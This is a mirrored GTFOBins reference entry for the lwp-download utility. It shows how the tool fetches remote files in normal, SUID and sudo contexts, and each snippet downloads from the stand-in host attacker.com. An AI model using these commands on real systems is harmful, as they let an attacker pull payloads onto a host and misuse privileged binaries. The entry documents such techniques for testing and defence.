mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-19 02:11:39 +02:00
22 lines
641 B
Markdown
22 lines
641 B
Markdown
|
---
|
||
|
functions:
|
||
|
file-download:
|
||
|
- description: Fetch a remote file via HTTP GET request.
|
||
|
code: |
|
||
|
export URL=http://attacker.com/file_to_get
|
||
|
export LFILE=file_to_save
|
||
|
lwp-download $URL $LFILE
|
||
|
suid:
|
||
|
- description: Fetch a remote file via HTTP GET request.
|
||
|
code: |
|
||
|
export URL=http://attacker.com/file_to_get
|
||
|
export LFILE=file_to_save
|
||
|
./lwp-download $URL $LFILE
|
||
|
sudo:
|
||
|
- description: Fetch a remote file via HTTP GET request.
|
||
|
code: |
|
||
|
export URL=http://attacker.com/file_to_get
|
||
|
export LFILE=file_to_save
|
||
|
sudo -E lwp-download $URL $LFILE
|
||
|
---
|